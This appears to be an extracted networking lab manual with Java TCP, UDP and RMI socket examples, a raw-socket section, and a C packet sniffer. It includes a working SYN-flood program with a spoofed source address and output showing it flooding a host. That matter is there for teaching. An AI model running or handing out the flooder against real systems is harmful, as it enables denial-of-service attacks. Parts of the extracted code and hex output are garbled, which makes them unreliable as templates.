You are on page 1of 76

INDEX

Exp# Name of the Experiment


TCP Sockets 1a 1b 1c 2a 2b 2c 3a 3b 4a 4b 4c 5a 5b 5c 5d 6a 6b 6c 6d TCP Echo Server/Client TCP Date Server/Client TCP Chat Server/Client UDP Sockets UDP Echo Server/Client UDP Chat Server/Client UDP DNS Server/Client Raw Sockets SYN Flooding Packet Capture Remote Procedure Call Basic Calculator Fibonacci Series Factorial Value Protocol Simulation GO Back N ARQ Selective Repeat ARQ ARP Server / Client RARP Server / Client NS2 Simulation Study of UDP Performance Study of TCP Performance Distance Vector Routing Protocol CSMA/CD Protocol

TCP Sockets
A socket is an endpoint of a two-way communication link between two programs running on the network. Socket is bound to a port number so that the TCP layer can identify the application that data is destined to be sent. User-level process/services generally use port number value 1024. TCP provides a reliable, point-to-point communication channel that client-server application on the Internet use to communicate with each other. Examples are FTP and Telnet. To communicate over TCP, a client program and a server program establish a connection to one another. Each program binds a socket to its end of the connection. A server runs on a specific computer and has a socket that is bound to a specific port number. The server waits, listening to the socket for a connection request from the client. On the client-side, the client knows the hostname of the machine on which the server is running and the port number on which the server is listening. To make a connection request, the client tries to make contact with the server on the server's machine and port. The client also needs to identify itself to the server so it binds to a local port number that it will use during this connection. If everything goes well, the server accepts the connection. Upon acceptance, the server gets a new socket bound to the same local port and also has its remote endpoint set to the address and port of the client. It needs a new socket so that it can continue to listen to the original socket for connection requests while tending to the needs of the connected client. On the client side, if the connection is accepted, a socket is successfully created and the client can use the socket to communicate with the server. The client and server can now communicate by writing to or reading through I/O streams from their sockets and eventually close it. The two key classes from the java.net package used in creation of server and client programs are: ServerSocket Socket

Program // TCP Echo Server--tcpechoserver.java import java.net.*; import java.io.*; public class tcpechoserver { public static void main(String[] arg) throws IOException { ServerSocket sock = null; BufferedReader fromClient = null; OutputStreamWriter toClient = null; Socket client = null; try { sock = new ServerSocket(4000); System.out.println("Server Ready"); client = sock.accept(); System.out.println("Client Connected"); fromClient = new BufferedReader(new InputStreamReader(client.getInputStream())); toClient = new OutputStreamWriter(client.getOutputStream()); String line; while (true) { line = fromClient.readLine(); if ( (line == null) || line.equals("bye")) break; System.out.println ("Client [ " + line + " ]"); toClient.write("Server [ "+ line +" ]\n"); toClient.flush(); } fromClient.close(); toClient.close(); client.close(); sock.close(); System.out.println("Client Disconnected"); } catch (IOException ioe) { System.err.println(ioe); } } }

//TCP Echo Client--tcpechoclient.java import java.net.*; import java.io.*; public class tcpechoclient { public static void main(String[] args) throws IOException { BufferedReader fromServer = null, fromUser = null; PrintWriter toServer = null; Socket sock = null; try { if (args.length == 0) sock = new Socket(InetAddress.getLocalHost(), 4000); else sock = new Socket(InetAddress.getByName(args[0]), 4000); fromServer = new BufferedReader(new InputStreamReader(sock.getInputStream())); fromUser = new BufferedReader(new InputStreamReader(System.in)); toServer = new PrintWriter(sock.getOutputStream(), true String Usrmsg, Srvmsg; System.out.println("Type \"bye\" to quit"); while (true) { System.out.print("Enter msg to server : "); Usrmsg = fromUser.readLine(); if (Usrmsg==null || Usrmsg.equals("bye")) { toServer.println("bye"); break; } else toServer.println(Usrmsg); Srvmsg = fromServer.readLine(); System.out.println(Srvmsg); } fromUser.close(); fromServer.close(); toServer.close(); sock.close(); } catch (IOException ioe) { System.err.println(ioe); }

Output Server Console $ javac tcpechoserver.java $ java tcpechoserver Server Ready Client Connected Client [ hello ] Client [ how are you ] Client [ i am fine ] Client [ ok ] Client Disconnected Client Console $ javac tcpechoclient.java $ java tcpechoclient Type "bye" to quit Enter msg to server : hello Server [ hello ] Enter msg to server : how are you Server [ how are you ] Enter msg to server : i am fine Server [ i am fine ] Enter msg to server : ok Server [ ok ] Enter msg to server : bye

Program //TCP Date Server--tcpdateserver.java import java.net.*; import java.io.*; import java.util.*; class tcpdateserver { public static void main(String arg[]) { ServerSocket ss = null; Socket cs; PrintStream ps; BufferedReader dis; String inet; try { ss = new ServerSocket(4444); System.out.println("Press Ctrl+C to quit"); while(true) { cs = ss.accept(); ps = new PrintStream(cs.getOutputStream()); Date d = new Date(); ps.println(d); dis = new BufferedReader(new InputStreamReader(cs.getInputStream())); inet = dis.readLine(); System.out.println("Client System/IP address is :" + inet); ps.close(); dis.close(); } } catch(IOException e) { System.out.println("The exception is :" + e); } } }

// TCP Date Client--tcpdateclient.java import java.net.*; import java.io.*; class tcpdateclient { public static void main (String args[]) { Socket soc; BufferedReader dis; String sdate; PrintStream ps; try { InetAddress ia = InetAddress.getLocalHost(); if (args.length == 0) soc = new Socket(InetAddress.getLocalHost(),4444); else soc = new Socket(InetAddress.getByName(args[0]), 4444); dis = new BufferedReader(new InputStreamReader(soc.getInputStream())); sdate=dis.readLine(); System.out.println("The date/time on server is : " + sdate); ps = new PrintStream(soc.getOutputStream()); ps.println(ia); ps.close(); } catch(IOException e) { System.out.println("THE EXCEPTION is :" + e); } } }

Output Server Console $ javac tcpdateserver.java $ java tcpdateserver Press Ctrl+C to quit Client System/IP address is : localhost.localdomain/127.0.0.1 Client System/IP address is : localhost.localdomain/127.0.0.1 Client Console $ javac tcpdateclient.java $ java tcpdateclient The date/time on server is : Wed Jul 04 07:12:03 GMT 2012 Client Console $ java tcpdateclient The date/time on server is : Wed Jul 04 07:19:48 GMT 2012

Program // TCP Chat Server--tcpchatserver.java import java.io.*; import java.net.*; class tcpchatserver { public static void main(String args[])throws Exception { PrintWriter toClient; BufferedReader fromUser, fromClient; try { ServerSocket Srv = new ServerSocket(5555); System.out.print("\nServer started\n"); Socket Clt = Srv.accept(); System.out.println("Client connected"); toClient = new PrintWriter(new BufferedWriter(new OutputStreamWriter(Clt.getOutputStream())), true); fromClient = new BufferedReader(new InputStreamReader(Clt.getInputStream())); fromUser = new BufferedReader(new InputStreamReader(System.in)); String CltMsg, SrvMsg; while(true) { CltMsg= fromClient.readLine(); if(CltMsg.equals("end")) break; else { System.out.println("\nServer <<< " + CltMsg); System.out.print("Message to Client : "); SrvMsg = fromUser.readLine(); toClient.println(SrvMsg); } } System.out.println("\nClient Disconnected"); fromClient.close(); toClient.close(); fromUser.close(); Clt.close(); Srv.close(); } catch (Exception E) { System.out.println(E.getMessage()); } } }

// TCP Chat Client--tcpchatclient.java import java.io.*; import java.net.*; class tcpchatclient { public static void main(String args[])throws Exception { Socket Clt; PrintWriter toServer; BufferedReader fromUser, fromServer; try { if (args.length > 1) { System.out.println("Usage: java hostipaddr"); System.exit(-1); } if (args.length == 0) Clt = new Socket(InetAddress.getLocalHost(),5555); else Clt = new Socket(InetAddress.getByName(args[0]), 5555); toServer = new PrintWriter(new BufferedWriter(new OutputStreamWriter(Clt.getOutputStream())), true); fromServer = new BufferedReader(new InputStreamReader(Clt.getInputStream())); fromUser = new BufferedReader(new InputStreamReader(System.in)); String CltMsg, SrvMsg; System.out.println("Type \"end\" to Quit"); while (true) { System.out.print("\nMessage to Server : "); CltMsg = fromUser.readLine(); toServer.println(CltMsg); if (CltMsg.equals("end")) break; SrvMsg = fromServer.readLine(); System.out.println("Client <<< " + SrvMsg); } } catch(Exception E) { System.out.println(E.getMessage()); } } }

Output Server Console $ javac tcpchatserver.java $ java tcpchatserver Server started Client connected Server <<< hi Message to Client : hello Server <<< how r u? Message to Client : fine Server <<< me too Message to Client : bye Client Disconnected Client Console $ javac tcpchatclient.java $ java tcpchatclient Type "end" to Quit Message to Server : hi Client <<< hello Message to Server : how r u? Client <<< fine Message to Server : me too Client <<< bye Message to Server : end

UDP Sockets
TCP guarantees the delivery of packets and preserves their order on destination. Sometimes these features are not required, since they do not come without performance costs, it would be better to use a lighter transport protocol such as UDP (User Datagram Protocol). UDP is an unreliable protocol, i.e., it does not include software mechanisms for retrying on transmission failures or data corruption (unlike TCP), and has restrictions on message length (< 65536 bytes). Examples are NFS, DNS, SNMP, Clock Server, Ping, VoIP, online games etc. Unlike TCP there is no concept of a connection, UDP is a protocol that sends independent packets of data, called datagrams, from one computer to another with no guarantees about arrival and sequencing. No packet has any knowledge of the preceding or following packet. The recipient does not acknowledge packets, thereby the sender does not know whether the transmission was successful. The format of datagram packet is Message Length Host Server Port

A program can use a single UDP socket to communicate with more than one host and port number, but it is convenient for most UDP client programs to maintain the fiction that there is a connection, by keeping a local record of each server host and port number. A UDP server does not have to listen for and accept client connections, and a UDP client need not connect to a server. Java supports datagram communication through the following classes: DatagramPacket DatagramSocket The DatagramPacket object is the data container, while the DatagramSocket is the mechanism used to send or receive the DatagramPackets.

Program // UDP Echo Server--UDPEchoServer.java import java.net.*; class UDPEchoServer { public static void main(String args[]) throws Exception { DatagramSocket SrvSoc = new DatagramSocket(7777); byte[] SData = new byte[1024]; System.out.println("Server Ready\n"); while (true) { byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); SrvSoc.receive(RPack); String Text = new String(RPack.getData()); if (Text.trim().length() > 0) { System.out.println("From Client <<< " + Text); InetAddress IPAddr = RPack.getAddress(); int Port = RPack.getPort(); SData = Text.toUpperCase().getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, Port); SrvSoc.send(SPack); } else break; } System.out.println("\nClient Quits\n"); SrvSoc.close(); } }

// UDP Echo Client--UDPEchoClient.java import java.io.*; import java.net.*; class UDPEchoClient { public static void main(String args[]) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); DatagramSocket CliSoc = new DatagramSocket(); InetAddress IPAddr; String Text; if (args.length == 0) IPAddr = InetAddress.getLocalHost(); else IPAddr = InetAddress.getByName(args[0]); byte[] SData = new byte[1024]; System.out.println("To quit, press enter without text"); while (true) { System.out.print("\nEnter text for Server : "); Text = br.readLine(); SData = Text.getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, 7777); CliSoc.send(SPack); if (Text.trim().length() == 0) break; byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); CliSoc.receive(RPack); String Echo = new String(RPack.getData()) ; Echo = Echo.trim(); System.out.println("Echo from Server <<< " + Echo); } CliSoc.close(); } }

Output Server Console $ javac UDPEchoServer.java $ java UDPEchoServer Server Ready From Client <<< hello From Client <<< Where are u? From Client <<< Could you hear me Client Quits Client Console $ javac UDPEchoClient.java $ java UDPEchoClient To quit press enter without text Enter text for Server : hello Echo from Server <<< HELLO Enter text for Server : Where are u? Echo from Server <<< WHERE ARE U? Enter text for Server : Could you hear me Echo from Server <<< COULD YOU HEAR ME Enter text for Server :

Program // UDP Chat Server--udpchatserver.java import java.io.*; import java.net.*; class udpchatserver { public static int clientport = 8040,serverport = 8050; public static void main(String args[]) throws Exception { DatagramSocket SrvSoc = new DatagramSocket(clientport); byte[] SData = new byte[1024]; BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); System.out.println("Server Ready"); while (true) { byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); SrvSoc.receive(RPack); String Text = new String(RPack.getData()); if (Text.trim().length() == 0) break; System.out.println("\nFrom Client <<< " + Text ); System.out.print("Msg to Cleint : " ); String srvmsg = br.readLine(); InetAddress IPAddr = RPack.getAddress(); SData = srvmsg.getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, serverport); SrvSoc.send(SPack); } System.out.println("\nClient Quits\n"); SrvSoc.close(); } }

// UDP Chat Client--udpchatclient.java import java.io.*; import java.net.*; class udpchatclient { public static int clientport = 8040,serverport = 8050; public static void main(String args[]) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader (System.in)); DatagramSocket CliSoc = new DatagramSocket(serverport); InetAddress IPAddr; String Text; if (args.length == 0) IPAddr = InetAddress.getLocalHost(); else IPAddr = InetAddress.getByName(args[0]); byte[] SData = new byte[1024]; System.out.println("Press Enter without text to quit"); while (true) { System.out.print("\nEnter text for server : "); Text = br.readLine(); SData = Text.getBytes(); DatagramPacket SPack = new DatagramPacket(SData, SData.length, IPAddr, clientport ); CliSoc.send(SPack); if (Text.trim().length() == 0) break; byte[] RData = new byte[1024]; DatagramPacket RPack = new DatagramPacket(RData, RData.length); CliSoc.receive(RPack); String Echo = new String(RPack.getData()) ; Echo = Echo.trim(); System.out.println("From Server <<< " + Echo); } CliSoc.close(); } }

Output Server Console $ javac udpchatserver.java $ java udpchatserver Server Ready From Client <<< are u the SERVER Msg to Cleint : yes From Client <<< what do u have to serve Msg to Cleint : no eatables Client Quits Client Console $ javac udpchatclient.java $ java udpchatclient Press Enter without text to quit Enter text for server : are u the SERVER From Server <<< yes Enter text for server : what do u have to serve From Server <<< no eatables Enter text for server :

Program // UDP DNS Server -- udpdnsserver.java import java.io.*; import java.net.*; public class udpdnsserver { private static int indexOf(String[] array, String str) { str = str.trim(); for (int i=0; i < array.length; i++) { if (array[i].equals(str)) return i; } return -1; } public static void main(String arg[])throws IOException { String[] hosts = {"yahoo.com", "gmail.com", "cricinfo.com", "facebook.com"}; String[] ip = {"68.180.206.184", "209.85.148.19", "80.168.92.140", "69.63.189.16"}; System.out.println("Press Ctrl + C to Quit"); while (true) { DatagramSocket serversocket=new DatagramSocket(1362); byte[] senddata = new byte[1021]; byte[] receivedata = new byte[1021]; DatagramPacket recvpack = new DatagramPacket(receivedata, receivedata.length); serversocket.receive(recvpack); String sen = new String(recvpack.getData()); InetAddress ipaddress = recvpack.getAddress(); int port = recvpack.getPort(); String capsent; System.out.println("Request for host " + sen); if(indexOf (hosts, sen) != -1) capsent = ip[indexOf (hosts, sen)]; else capsent = "Host Not Found"; senddata = capsent.getBytes(); DatagramPacket pack = new DatagramPacket(senddata, senddata.length,ipaddress,port);

serversocket.send(pack); serversocket.close(); } } } //UDP DNS Client -- udpdnsclient.java import java.io.*; import java.net.*; public class udpdnsclient { public static void main(String args[])throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); DatagramSocket clientsocket = new DatagramSocket(); InetAddress ipaddress; if (args.length == 0) ipaddress = InetAddress.getLocalHost(); else ipaddress = InetAddress.getByName(args[0]); byte[] senddata = new byte[1024]; byte[] receivedata = new byte[1024]; int portaddr = 1362; System.out.print("Enter the hostname : "); String sentence = br.readLine(); Senddata = sentence.getBytes(); DatagramPacket pack = new DatagramPacket(senddata, senddata.length, ipaddress,portaddr); clientsocket.send(pack); DatagramPacket recvpack =new DatagramPacket(receivedata, receivedata.length); clientsocket.receive(recvpack); String modified = new String(recvpack.getData()); System.out.println("IP Address: " + modified); clientsocket.close(); } }

Output Server Console $ javac udpdnsserver.java $ java udpdnsserver Press Ctrl + C to Quit Request for host yahoo.com Request for host cricinfo.com Request for host youtube.com Client Console $ javac udpdnsclient.java $ java udpdnsclient Enter the hostname : yahoo.com IP Address: 68.180.206.184 $ java udpdnsclient Enter the hostname : cricinfo.com IP Address: 80.168.92.140 $ java udpdnsclient Enter the hostname : youtube.com IP Address: Host Not Found

RAW SOCKETS
Normally, data from source host application layer is encapsulated with protocol headers at layers transport, network and data link layer respectively. The value for these headers is filled by the kernel or the operating system and sent through the network. When it reaches the destination host, all the headers (Ethernet, IP, TCP, etc) are stripped by the network stack and only data is shipped to the application layer. The programmer can neither modify nor view those packet headers. A raw socket is a socket that allows direct sending and receiving of network packets by applications, bypassing all encapsulation done by network stack of the host and communicating directly with the device driver. With raw sockets, the programmer has full control of packets send to or received from the network. It is primarily used to: 1. Packet Injection (Sending packets into raw socket) 2. Packet Sniffing (Receiving packets from raw socket) The basic concept of low level sockets is to send packets with all protocol headers filled in by the program (instead of the kernel). To fabricate our own packets, the structure of protocols (IP, TCP/UDP) that needs to be included should be known. We can define our own protocol structure (packet header) and assign values or assign values for the standard built-in structures elements provided by Linux. In order to read packets, the programmer needs to sniff the network. The host can receive only unicast, broadcast and multicast (subscribed) packets. The programmer can switch to promiscuous mode to receive contents meant for other hosts too. This is done by accessing a raw interface to the data link layers. Once a packet is received, then it is possible to parse that packet intelligibly and to find out the details of all headers (Ethernet, IP, TCP, ARP, etc). Raw sockets are used by network monitoring and hacking tools. The tools used in Syn flood attacks on Yahoo in 2000 and countless other Denial of Service (DoS) attacks on innumerable hosts, leveraged raw socket interface to accomplish the task.

Program /* SYN #include #include #include #include #include #include #include Flooding synflood.c <unistd.h> <stdio.h> <stdlib.h> <string.h> <sys/socket.h> <netinet/ip.h> <netinet/tcp.h> */

/* IP header's structure */ struct ipheader { unsigned char iph_ihl:5, iph_ver:4; unsigned char iph_tos; unsigned short int iph_len; unsigned short int iph_ident; unsigned char iph_flags; unsigned short int iph_offset; unsigned char iph_ttl; unsigned char iph_protocol; unsigned short int iph_chksum; unsigned int iph_sourceip; unsigned int iph_destip; }; /* Structure of a TCP header */ struct tcpheader { unsigned short int tcph_srcport; unsigned short int tcph_destport; unsigned int tcph_seqnum; unsigned int tcph_acknum; unsigned char tcph_reserved:4, tcph_offset:4; unsigned int tcp_res1:4, tcph_hlen:4, tcph_fin:1, tcph_syn:1, tcph_rst:1, tcph_psh:1, tcph_ack:1, tcph_urg:1, tcph_res2:2; unsigned short int tcph_win; unsigned short int tcph_chksum; unsigned short int tcph_urgptr; };

/* Simple checksum function */ unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } int main(int argc, char *argv[ ]) { /* open raw socket */ int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); char datagram[4096]; struct ipheader *iph = (struct ipheader *) datagram; struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader); struct sockaddr_in sin; if(argc != 3) { printf("Invalid parameters!\n"); printf("Usage: %s <target IP > <port to be flooded>\n", argv[0]); exit(-1); } unsigned int floodport = atoi(argv[2]); sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(argv[1]); /* zero out the buffer */ memset(datagram, 0, 4096); /* fill in the iph->iph_ihl = iph->iph_ver = iph->iph_tos = iph->iph_len = ip/tcp header values */ 5; 4; 0; sizeof (struct ipheader) + sizeof (struct tcpheader); iph->iph_ident = htonl (54321); iph->iph_offset = 0; iph->iph_ttl = 255; iph->iph_protocol = 6; iph->iph_chksum = 0; /* SYN's are blindly spoofed, use randomly generated IP */ iph->iph_sourceip = inet_addr ("192.168.3.100");

iph->iph_destip = sin.sin_addr.s_addr; /* arbitrary port for source */ tcph->tcph_srcport = htons (5678); tcph->tcph_destport = htons (floodport); /* in a SYN packet, the sequence is a random */ tcph->tcph_seqnum = random(); /* number, and the ACK sequence is 0 in the 1st packet */ tcph->tcph_acknum = 0; tcph->tcph_res2 = 0; /* first and only tcp segment */ tcph->tcph_offset = 0; /* initial connection request */ tcph->tcph_syn = 0x02; /* maximum allowed window size */ tcph->tcph_win = htonl (65535); /* kernel's IP stack will fill correct checksum */ tcph->tcph_chksum = 0; tcph-> tcph_urgptr = 0; iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1); /* IP_HDRINCL informs kernel that header is part of data */ int tmp = 1; const int *val = &tmp; if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0) { printf("Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } else printf("OK, using own header!\n"); while(1) { if(sendto(s, datagram, iph->iph_len, 0, (struct sockaddr *)&sin, sizeof (sin)) < 0) printf("sendto() error!!!.\n"); else printf("Flooding %s at %u...\n", argv[1], floodport); } return 0; }

Output $ su Password: # gcc synflood.c -o synflood synflood.c: In function 'main': synflood.c:114: warning: large integer implicitly truncated to unsigned type # ./synflood 172.16.6.45 23 OK, using own header! Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... ... ^C

Program /* Packet Sniffing sniffdata.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <sys/socket.h> <features.h> <linux/if_packet.h> <linux/if_ether.h> <errno.h> <sys/ioctl.h> <net/if.h> <linux/ip.h> <linux/tcp.h> <netinet/in.h>

int CreateRawSocket(int protocol_to_sniff) { int rawsock; if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_sniff)))== -1) { perror("Error creating raw socket: "); exit(-1); } return rawsock; } int BindRawSocketToInterface(char *device, int rawsock, int protocol) { struct sockaddr_ll sll; struct ifreq ifr; bzero(&sll, sizeof(sll)); bzero(&ifr, sizeof(ifr)); /* Get Interface Index */ strncpy((char *)ifr.ifr_name, device, IFNAMSIZ); if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1) { printf("Error getting Interface index !\n"); exit(-1); } /* Bind raw socket to this interface */ sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(protocol);

if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1) { perror("Error binding raw socket to interface\n"); exit(-1); } return 1; } void PrintPacketInHex(unsigned char *packet, int len) { unsigned char *p = packet; printf("\n\n---------Packet---Starts----\n\n"); while(len--) { printf("%.2x ", *p); p++; } printf("\n\n--------Packet---Ends-----\n\n"); } PrintInHex(char *mesg, unsigned char *p, int len) { printf(mesg); while(len--) { printf("%.2X ", *p); p++; } } ParseEthernetHeader(unsigned char *packet, int len) { struct ethhdr *ethernet_header; if(len > sizeof(struct ethhdr)) { ethernet_header = (struct ethhdr *)packet; /* First set of 6 bytes are Destination MAC */ PrintInHex("Destination MAC: ",ethernet_header->h_dest,6); printf("\n"); /* Second set of 6 bytes are Source MAC */ PrintInHex("Source MAC: ",ethernet_header->h_source,6); printf("\n"); /* Last 2 bytes in Ethernet header is the protocol */ PrintInHex("Protocol: ",(void *) &ethernet_header->h_proto, 2); printf("\n"); }

else { printf("Packet size too small !\n"); } } ParseIpHeader(unsigned char *packet, int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; /*Check if packet contains IP header using Ethernet header*/ ethernet_header = (struct ethhdr *)packet; if(ntohs(ethernet_header->h_proto) == ETH_P_IP) { /* The IP header is after the Ethernet header */ if(len >= (sizeof(struct ethhdr)+sizeof(struct iphdr))) { ip_header=(struct iphdr*)(packet+sizeof(struct ethhdr)); /* print the Source and Destination IP address */ printf("Dest IP address: %s\n", inet_ntoa(ip_header->daddr)); printf("Source IP address: %s\n", inet_ntoa(ip_header->saddr)); } else { printf("IP packet does not have full header\n"); } } } ParseTcpHeader(unsigned char *packet , int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; struct tcphdr *tcp_header; /* Check if enough bytes are there for TCP Header */ if(len >= (sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct tcphdr))) { /* Do the checks: Is it an IP pkt and is it TCP ? */ ethernet_header = (struct ethhdr *)packet; if(ntohs(ethernet_header->h_proto) == ETH_P_IP) { ip_header = (struct iphdr *)(packet + sizeof(struct ethhdr));

if(ip_header->protocol == IPPROTO_TCP) { tcp_header = (struct tcphdr*)(packet + sizeof(struct ethhdr) + ip_header->ihl*4 ); /* Print the Dest and Src ports */ printf("Source Port:%d\n",ntohs(tcp_header->source)); printf("Dest Port: %d\n", ntohs(tcp_header->dest)); } else { printf("Not a TCP packet\n"); } } else { printf("Not an IP packet\n"); } } else { printf("TCP Header not present \n"); } } int ParseData(unsigned char *packet, int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; struct tcphdr *tcp_header; unsigned char *data; int data_len; /* Check if any data is there */ if(len > (sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct tcphdr))) { ip_header = (struct iphdr*)(packet + sizeof(struct ethhdr)); data = (packet + sizeof(struct ethhdr) + ip_header->ihl*4 +sizeof(struct tcphdr)); data_len = ntohs(ip_header->tot_len) - ip_header->ihl*4 - sizeof(struct tcphdr); if(data_len) { printf("Data Len : %d\n", data_len); PrintInHex("Data : ", data, data_len); printf("\n\n"); return 1; }

else { printf("No Data in packet\n"); return 0; } } else { printf("No Data in packet\n"); return 0; } } int IsIpAndTcpPacket(unsigned char *packet, int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; ethernet_header = (struct ethhdr *)packet; if(ntohs(ethernet_header->h_proto) == ETH_P_IP) { ip_header = (struct iphdr *)(packet + sizeof(struct ethhdr)); if(ip_header->protocol == IPPROTO_TCP) return 1; else return -1; } else return -1; } main(int argc, char **argv) { int raw; unsigned char packet_buffer[2048]; int len; int packets_to_sniff; struct sockaddr_ll packet_info; int packet_info_size = sizeof(packet_info); /* create the raw socket */ raw = CreateRawSocket(ETH_P_IP); /* Bind socket to interface */ BindRawSocketToInterface(argv[1], raw, ETH_P_IP); /* Get number of packets to sniff from user */ packets_to_sniff = atoi(argv[2]);

/* Start Sniffing and print Hex of every packet */ while(packets_to_sniff--) { if((len = recvfrom(raw, packet_buffer, 2048, 0, (struct sockaddr*)&packet_info, &packet_info_size))== -1) { perror("Recv from returned -1: "); exit(-1); } else { /* Packet has been received successfully !! */ PrintPacketInHex(packet_buffer, len); /* Parse Ethernet Header */ ParseEthernetHeader(packet_buffer, len); /* Parse IP Header */ ParseIpHeader(packet_buffer, len); /* Parse TCP Header */ ParseTcpHeader(packet_buffer, len); if(IsIpAndTcpPacket(packet_buffer, len)) { if(!ParseData(packet_buffer, len)) packets_to_sniff++; } } } return 0; }

Output $su Password: # gcc sniffdata.c -o sniffdata # ifconfig eth0 promisc # ./sniffdata eth0 1 ---------Packet---Starts---01 00 4e 73 30 67 65 0a 31 74 00 01 4f 74 30 2d 72 4c 36 2f 5e 11 54 3a 0d 63 3a 6f 2e 75 7f ec 49 32 0a 6f 31 63 34 64 ff 11 46 33 4e 6d 0d 61 2e 68 fa ac 59 39 54 3a 0a 74 32 69 18 10 20 2e 3a 64 4e 69 33 73 f4 04 2a 32 75 65 54 6f 30 61 6a e6 20 35 72 76 53 6e 3a 70 16 ef 48 35 6e 69 3a 3a 32 69 a2 ff 54 2e 3a 63 73 68 38 2e a2 ff 54 32 64 65 73 74 36 64 08 fa 50 35 6d 3a 64 74 39 6c 00 07 2f 35 63 53 70 70 2f 6c 45 6c 31 2e 2d 79 3a 3a 75 3f 00 07 2e 32 73 6e 61 2f 70 63 01 6c 31 35 61 63 6c 2f 6e 6f ff 01 0d 30 6d 53 69 31 70 6e 2a eb 0a 3a 73 65 76 37 68 74 ec 65 48 31 75 72 65 32 6f 65 00 d1 6f 39 6e 76 0d 2e 73 6e

--------Packet---Ends----Destination MAC: 01 00 5E 7F FF FA Source MAC: 18 F4 6A 16 A2 A2 Protocol: 08 00 Dest IP address: 239.255.255.250 Source IP address: 172.16.4.230 Not a TCP packet Data Len : 471 Data : 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 35 2E 32 35 35 2E 32 35 30 3A 31 39 30 30 0D 6E 3A 64 6D 63 2D 73 61 6D 73 75 6E 67 2D 63 69 63 65 3A 53 79 6E 63 53 65 72 76 65 72 3A 3A 73 73 64 70 3A 61 6C 69 76 65 0D 0A 4C 6F 3A 68 74 74 70 3A 2F 2F 31 37 32 2E 31 36 2E 32 38 36 39 2F 75 70 6E 70 68 6F 73 74 2F 75 69 2E 64 6C 6C 3F 63 6F 6E 74 65 6E

32 0A 6F 31 63 34 64

33 4E 6D 0D 61 2E 68

39 54 3A 0A 74 32 69

2E 3A 64 4E 69 33 73

32 75 65 54 6F 30 61

35 72 76 53 6E 3A 70

Remote Procedure Calls (RPC)


RPC is a powerful technique for constructing distributed, client-server based applications. The called procedure need not exist in the same address space as the calling procedure. RPC is analogous to a function call. When a RPC is made, the calling arguments are passed to the remote procedure and the caller waits for a response to be returned from the remote procedure. RPC is designed to mitigate duplication issues by providing a common interface between applications. RPC is designed to make client/server interaction easier and safer by factoring out common tasks such as security, synchronization, and data flow handling into a common library, thereby saving developer's time and effort. RPC is implemented using Remote Method Invocation (RMI) in Java. RMI allows a Java object that executes on one machine to invoke a method of a Java object that executes on another machine. Java RMI provides the following elements: Remote object implementations. Client interfaces, or stubs, to remote objects. A remote object registry for finding objects on the network. A network protocol for communication between remote objects and their client (this protocol is JRMP, i.e. Java Remote Method Protocol). A facility for automatically creating remote objects on-demand. The 3 layers that comprise the basic remote-object communication facilities in RMI are: 1. The stub/skeleton layer, which provides the interface that client and server application objects use to interact with each other. 2. The remote reference layer, which is the middleware between the stub/skeleton layer and the underlying transport protocol. 3. The transport protocol layer, which is the binary data protocol that sends remote object requests over the wire. With RMI, a reference to an object that lives in a remote process on remote hosts can be obtained and invoke methods on it as if it were a local object running within the same JVM. Each remote object implements a remote interface that specifies which of its methods can be invoked by clients. RMI handles all the underlying networking needed to make your remote method calls work. If an object is supplied as an argument to that remote method, the sending machine serializes the object and transmits it. The receiving machine deserializes it.

Program // Declares remote method interfaces--CalcInf.java import java.rmi.*; public interface CalcInf extends Remote { public long add(int a, int b) throws public int sub(int a, int b) throws public long mul(int a, int b) throws public int div(int a, int b) throws public int rem(int a, int b) throws }

RemoteException; RemoteException; RemoteException; RemoteException; RemoteException;

